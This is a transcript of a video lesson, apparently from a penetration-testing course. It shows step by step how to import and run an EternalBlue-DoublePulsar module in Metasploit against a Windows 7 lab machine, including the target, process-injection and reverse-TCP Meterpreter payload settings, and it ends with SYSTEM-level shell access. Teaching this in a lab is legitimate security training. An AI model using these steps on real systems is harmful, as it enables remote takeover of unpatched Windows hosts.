Instructor: Welcome back.
Time to check out a variant of EternalBlue Exploit.
I prefer to always use this one
due to two different reasons.
It showed to work more
than the default Metasploit Framework exploit
and it also has a little better options aimed
at both 32-bit and 64-bit Windows Systems.
Nonetheless, we can read more about DoublePulsar right here.
This is the official RAPID7 website
and here we can check out
what exactly is a DoublePulsar when it is used
and when did it come out.
So here it says DoublePulsar is an implant leaked
by the ShadowBrokers group earlier this year
that enables the execution of additional malicious code.
So you can read right here
but you can also check out different websites
in order to find out how exactly does the exploit work
in case you're interested in that.
But what's important for us in this video is how
to run the exploit.
Remember, we have no module in Metasploit Framework
for the EternalBlue-DoublePulsar.
So we must download the Exploit ourselves
and import it in Metasploit Framework.
This will be a little bit of a longer video.
Since there are few things that we need to do
to achieve this exploit.
The first thing that we must do is install wine.
And what is wine?
Well, wine is a program that allows us
to execute Windows applications on Linux systems.
Why do we need this?
Well, it is required for DoublePulsar to run.
To insulate, we can run the following command,
sudo dpkg dash dash add dash architecture
i386, and then these two signs,
which mean that we are going to add another command
to this larger command and that is apt-get update.
And another command is apt-get install wine32.
So these are three separate commands
and in the last one, we are going to install the wine32.
If you press Enter and type in the password,
this command should start executing.
Now if it tells you right here this,
which is permission denied
then just copy this command
without the sudo, enter the root terminal
by typing sudo su and then paste the command,
press Enter
and now it should start executing all
of these three commands.
Now I will Control C this
because I have already performed this for you.
Just wait for this to finish
and then proceed with the tutorial.
And the reason why we are doing all of this is
because we need to get wine directory
with the drive_c folder.
And you might be asking well,
what is that and where do I even find it?
Well, sometimes it won't appear after installation.
So what we must do is install some Windows Program.
In this case, let's just go
and install Python 2 for Windows on our Kali Linux machine,
not because we need it, but because after we install it,
our drive_c folder will appear.
And if you have no idea what I'm talking about,
hang on for just a second
and you will see it at the Installer Windows program.
It is all required for our exploit to run.
So navigate to this link right here
which is https://www.python.org/downloads/release
and then slash python-2714 and slash at the end.
Here we should see this version of Python
and what we are interested in
from all of these versions is Windows x86 MSI Installer.
Click on it and click on Save File.
It'll start downloading our Windows MSI Installer
and once it has finished,
we want to go to the Downloads directory
and open Terminal inside of it.
Once it does that,
we can run the command wine msiexecute slash i
and then the name of the file, which in my case
and in your case will be Python 2.7.14.msi.
Just a small interrupt.
This command that I just showed you,
make sure to execute it using Root Terminal.
So don't execute it using our regular MrHacker terminal.
Otherwise in most cases it might not actually work.
So what you can do is you can just type sudo su,
enter the password for your account
and run the wine msiexecute slash i
and then the name of the file using root terminal.
Okay, let's go back to the video.
Click Enter and this will start installing Python 2.7.14
as a Windows Program.
We want to click on Next on every step.
So Next, Next, Next, Next.
So this already exists, I will click on Yes
and this installation should finish in just a few seconds.
Once it is done, you can click on Finish.
And right now we should have our wine folder
in the slash root directory.
See if I go to the slash root directory
I need to go cd slash root.
Let us just enter the root terminal
and go to the slash root directory.
If we type ls, it'll be empty.
Did we fail somewhere?
Well, not exactly.
Once installed, wine will be a hidden directory
which means its name will start with a dot.
And by the way, to list all the files
inside of a directory including hidden files,
we can run the command ls -la.
And here are all the hidden files
including our .wine directory.
Now if you cannot see it,
make sure that you run this command
which is wine msiexecute /i python 2.7.14
from the root terminal.
And just click on Next, Next, Next steps.
And you should have this .wine folder inside
of the slash root directory.
Great, so if I go to that folder, cd.wine,
here I will have drive_c folder
and some other folders as well.
So everything works for now.
Now that we got this ready,
we can proceed to download our exploit.
So go once again to the Firefox,
open a second tab and type EternalBlue-DoublePulsar
and it'll show up this first link, which is a GitHub link.
We want to click on it.
And since we already know how to install our GitHub tool,
let's just do it real quick.
We just want to copy this link right here,
go inside our terminal.
Let's change the directory
to the slash home slash mrhacker slash Desktop directory.
And once again,
I'll advise you to run all of these commands
using root terminal otherwise,
it might not work and type git clone,
paste the command
and it should download the EternalBlue DoublePulsar tool
for us.
Now we are not done yet.
We must do some modification
in order for this tool to be able to open
in the Metasploit framework.
If we type ls and change to the Eternalblue-Doublepulsar,
right here, we should have two interesting files.
One of them is the ruby file, which is the Exploit itself
and the other one is this deps directory.
Now this is a directory once again,
it is not the file and you cannot really see that
from the root terminal
because different file types are not different colors
and that is the only problematic thing.
But nonetheless, what we must do
is we must copy these two files.
So let's go with copy deps first
to the user/share/metasploit-framework
/modules/exploits/windows and then smb.
And here we can copy the deps directory
and to copy a directory,
you just need to add -r at the end.
So once again, copying deps directory
to the slash user slash share slash metasploit-framework
slash modules slash exploits slash Windows
and then slash smb.
Click Enter and it should copy the deps directory there.
We want to do the same thing
with the Eternalblue ruby file.
So copy to the same directory.
Modules/exploits/windows/smb
and here we want to copy it, just for this file.
You don't need to add the dash r
since it is a file and not a directory.
Okay, great.
There is one more location that we want
to copy both of these files.
So I will just type once again the same command
just this time, I will switch the location
to the slash root directory.
So I will copy the deps in the slash root add -r
at the end and double copy the EternalBlue
to the slash root directory as well.
Great, now we should be ready to go.
Let us open our msfconsole.
While this is opening,
make sure that your Windows 7 machine is up and running.
And let us straight away check out the IP address
of this Windows 7 machine by typing ipconfig,
192.168.1.8 for me.
And what we want to do
once the Metasploit Framework opens up is we want
to navigate to our Eternalblue-Doublepulsar exploit.
And remember, we put it inside of the Windows exploit
and SMB exploit.
So what we can do is we can type use exploit/ windows/
smb type the name of the Exploit
which is eternalblue_doublepulsar.
So just type eternalblue underscore doublepulsar.
click Enter.
And now we got our Exploit imported
in Metasploit Framework.
This is an Exploit that we didn't have before.
Let us show information for it.
As it says in the description,
this module exploits a vulnerability on SMB version one
and version two protocols through Eternalblue.
After that, Doublepulsar is used
to inject remotely a malicious dll.
Great, let's also show options to see what options we got
and up here, we got quite a few of them.
And keep in mind that all of them are required.
Now here it tells us that we need
to specify the path to the deps directory.
So it seems that I made a mistake before
I copied it directly to the root directory
and we had to copy the entire file.
So what I'm going to do is
I'm going to open a second terminal,
enter the roots terminal,
go to the Desktop of our Mrhacker account
and copy this entire Eternalblue-Doublepulsar-Metasploit
to the root directory.
So copy Eternalblue to this slash root.
Make sure to add dash r because we are coping a directory
and right now this path should be good
and we should not really change it.
We can just leave it right here.
Since deps directory is inside
of the Eternalblue-Doublepulsar directory
and we just copy it to the root directory.
So these two are good.
Under the PROCESSINJECT, it tells us right here name
of the process to inject to
and we must change to this process name right here,
for 64-bit machines.
Since my Windows 7 machine is a 64-bit,
I will type this name right here
and I will change the process to inject
since it is not set right here by default.
So type set PROCESSINJECT
and paste the name of the process and press Enter.
If your Windows 7 machine is a 32-bit one,
you can leave this wlms.exe process to inject.
The RHOSTS we already know to be the IP address.
So 192.168.1.8.
The RPORT, we are going to leave to 445.
The target architecture,
if your Windows machine is a 32-bit,
you can leave it to x86.
Mine is 64-bit,
so I will set the target architecture to x64
The WINEPATH, and this is why we needed the wine for.
We need to set the WINEPATH in order
for all of this to work.
And right here it is set correctly.
Remember, our .wine folder is inside of the root directory
and the drive_c folder is inside of the .wine directory.
So this is something that we will not change.
Another configuration that we want
to do is this Payload options right here.
It is currently set to windows/meterpreter/reverse_tcp.
And remember in one of the last few videos,
I told you that this is a payload for 32-bit Windows.
If your Windows is 32-bit, once again,
you don't need to change this.
But if it is a 64-bit Windows,
I want to type set payload windows/x64 slash meterpreter
slash reverse tcp.
Show options once again, everything seems to be good.
Now you can also show targets if you want to
just to see what are all the possible targets
that you can attack with this exploit.
And once you check all of them out,
you can just type run.
This will launch our Eternalblue-Doublepulsar exploit
on the target machine.
It might take a few seconds for it to work.
And here it is.
Our Meterpreter session is once again open,
exploit works successfully
and we can once again run the commands on the target system.
We can enter a shell and get its command prompt.
If I type, whoami,
it says that we are the system level account.
So we are the highest privilege account once again.
Great, now I know that you are impatiently waiting
for us to cover this meterpreter shell
and all of its commands as well
as the post exploitation modules that we can run with it.
But hang on for just a little bit more,
we got two more exploits to cover
and then we can proceed
to creating (indistinct) malicious files
and using them as well as running post-exploitation modules.
In the next video,
we're going to cover an exploit called BlueKeep
which was discovered in 2019.
See you there.